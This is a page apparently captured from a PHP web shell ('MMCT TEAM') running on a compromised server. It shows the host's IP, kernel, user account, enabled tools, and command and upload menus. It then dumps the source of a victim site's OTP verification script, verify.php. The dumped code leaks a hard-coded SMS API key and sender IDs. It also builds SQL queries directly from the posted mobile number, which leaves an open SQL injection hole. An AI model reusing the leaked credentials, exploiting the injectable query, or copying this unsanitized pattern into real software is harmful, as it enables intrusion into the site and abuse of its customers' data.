MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.16.51.237
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/deergham.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/deergham.com/verify.php
<?php
include_once('admin/config.php');
if (isset($_POST['send_otp'])) {
    // Check if the mobile number exists in the database and m_status is 'Active'
    $mobile = $_POST['mobile'];
    $check_query = "SELECT * FROM tbl_customer WHERE cust_phone='$mobile'";
    $result = mysqli_query($db, $check_query);
    if (mysqli_num_rows($result) > 0) {
        $row = mysqli_fetch_assoc($result);
        if ($row['m_status'] == 'Active') {
            // Generate a 6-digit OTP
            $otp = rand(100000, 999999);

            // Store the OTP and mobile number in a session for verification
            session_start();
            $_SESSION['otp'] = $otp;
            $_SESSION['mobile'] = $mobile;
            date_default_timezone_set('Asia/Kolkata');
            $otp_generated_at = date('Y-m-d H:i:s');

            // Store the OTP and timestamp in the database
            $update_query = "UPDATE tbl_customer SET otp='$otp', otp_valid='$otp_generated_at' WHERE cust_phone='$mobile'";
            mysqli_query($db, $update_query);

            // Your SMS API details
            $api_key = "Tj1ISm9IeXV5c0xPRXdhR2lqZWM=";
            $to = $_POST['mobile']; 
            $sender_id = "TKINEN";
//             $message = "Dear User,
// Your OTP is $otp. Valid for 10 minutes. Please do not share this OTP.
// Regards - Ludo-10
// TK IND.";
            $message = "Dear Customer, Your login OTP for the registration is $otp please verify your OTP. Thank Team DEERGHAM";
            $p_entity_id = "1201162643300643505";
            $temp_id = "1207169726695274252";

            // Send the OTP via SMS
            $apiURL = "https://sms.staticking.com/index.php/smsapi/httpapi/" . 
            // $apiURL = "http://sms.getitsms.com/sms/api?" . 
            "action=send-sms" .
            "&api_key=" . urlencode("Tj1ISm9IeXV5c0xPRXdhR2lqZWM=") .
            "&to=" . urlencode("$to") .
            "&from=" . urlencode("DERGHM") .
            "&sms=" . urlencode("$message") .
            "&p_entity_id=". urlencode("1201162643300643505") .
            "&temp_id=". urlencode("1207169726695274252") .
            "&unicode=1";

            // Initialize cURL session
            $ch = curl_init();

            // Set cURL options
            curl_setopt($ch, CURLOPT_URL, $apiURL);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

            // Execute the cURL session and get the response
            $response = curl_exec($ch);

            // Check for cURL errors
            if (curl_errno($ch)) {
                echo "cURL Error: " . curl_error($ch);
            } else {
                // Parse the JSON response
                $response_data = json_decode($response, true);
                if (isset($response_data['code']) && $response_data['code'] === "ok") {
                    echo "<script>
                            window.location.href = 'verify_otp2.php';
                          </script>";
                } else {
                    echo "Failed to send OTP. Response: " . print_r($response_data, true);
                }
            }

            // Close the cURL session
            curl_close($ch);
        } else {
            // Redirect user to support page as mobile number exists but m_status is not Active
            echo "<script>
                    alert('You are blocked by Deergham Admin. Please contact admin.');
                    window.location.href = 'contact.html';
                  </script>";
        }
    } else {
        // Redirect user to registration page as mobile number doesn't exist
        echo "<script>
                alert('You are not registered in Deergham. Please register first.');
                window.location.href = 'register.php';
              </script>";
    }
}
?>

MMCT - 2023